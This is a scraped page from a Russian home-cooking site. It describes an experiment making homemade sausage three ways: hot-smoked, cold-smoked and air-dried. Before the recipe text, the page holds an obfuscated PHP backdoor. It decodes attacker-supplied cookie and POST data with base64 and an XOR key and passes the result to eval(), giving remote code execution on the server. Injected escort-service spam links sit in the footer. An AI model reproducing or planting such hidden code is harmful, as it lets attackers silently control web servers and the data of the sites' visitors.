$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Колбаса домашняя • Meat Review

Колбаса домашняя

Перейти в режим чтения
Распечатать
0 0
Колбаса домашняя

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:
  • Средне

Инструкция

Поделиться

В феврале-апреле был проведен масштабный эксперимент по изготовлению домашней колбасы.
Суть его заключалась в выборе наиболее приятного вкусу и глазу потребителя способа приготовления.

Исходя из условий задачи, фарш приготовлен один.

Свинина лопатка 2450 гр
Сало 600 гр
Говядина (брюшина) 1300 гр
Соль 2,3% (нитритная)
Перец молотый 0,5%
Чеснок 25 гр
Чили 1 гр
Майоран 3 гр
Ягода можжевельника 1 гр

Сало и говядина были порезаны ручками на кусочки где то по 5 -8 мм. Свинина перемолота на решетке 10 мм.
Посолено – в холодильник на сутки.

Потом добавлены все специи, хорошо вымешанно и набито в кишку 35-40 мм. На решетке (чтоб обдувало) в холодильник на сутки.
Погоды у нас стояли +10-15С, поэтому колбаса была вывешена в неотапливаемом помещении набирать цвет, вкус, да и сушиться заодно. Через трое суток ферментации, сипуляризации, экстраполяции и прочего гуманизма, пришла пора извращений.

Тут начинается сам эксперимент. Всего из кишкодава вылезло около 6 м. продукта. Он был разделен на три равные партии:
Первая поехала на горячее копчение яблоневыми опилками (4 часа до 62С)

Вторая на холодное копчение – абрикосовыми , 24 часа

Третья,  осталась висеть и вялиться.

Колбаса г/к была немного опробована и повешена сохнуть рядом с остальными. Проба показала резкий вкус специй, повышенную солоноватость, но вполне съедобность.

По истечении 4-5 недель продукт потерял положенные 40% веса и пришла пора проверить на животных. Ими согласились стать друзья пришедшие на очередные пятничные посиделки.

Колбаса г/к полностью утратила все недостатки первой пробы, была сбалансирована, но несколько тусклая. Видать сказалась термическая обработка. Оценка 8.

Колбаса х/к подсохла чуть быстрее, была красивая и бордовая. Понравилась 73% присутствующих. Оценка 8.

Колбаса вяленая обладала несколько блекловатым наружным цветом, что с лихвой дополнялось богатым вкусом и структурой. Опять же 8!

Как хором и вразнобой заявили подопытные: колбаса хорошая, но разная и сравнивать, какая вкусней они отказались, т.к переспорили на эту тему до ночи. Одни орали за г/к, другие – х/к, а кучу вяленой тихо подрезала и уволокла вечно голодная дочь-студентка.

Испанский тестер выдал дежурное: “Salchicha rusa muy sabroso.”, а узнав про самодельность, долго смотрел, как Колумб на аборигена, постящего селфи в инстаграм…

(Visited 3 682 times, 1 visits today)

Stanislav

обратно
Рыба в ветчиннице
далее
Семга холодного копчения
обратно
Рыба в ветчиннице
далее
Семга холодного копчения

Похожие рецепты

There are no comments yet

× You need to log in to enter the discussion

    MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

    escort Muğla
    Aydın Escort bayan
    Çanakkale Escort
    escort bayan balıkesir

    Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

    By continuing to use the site, you agree to the use of cookies. more information

    The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

    Close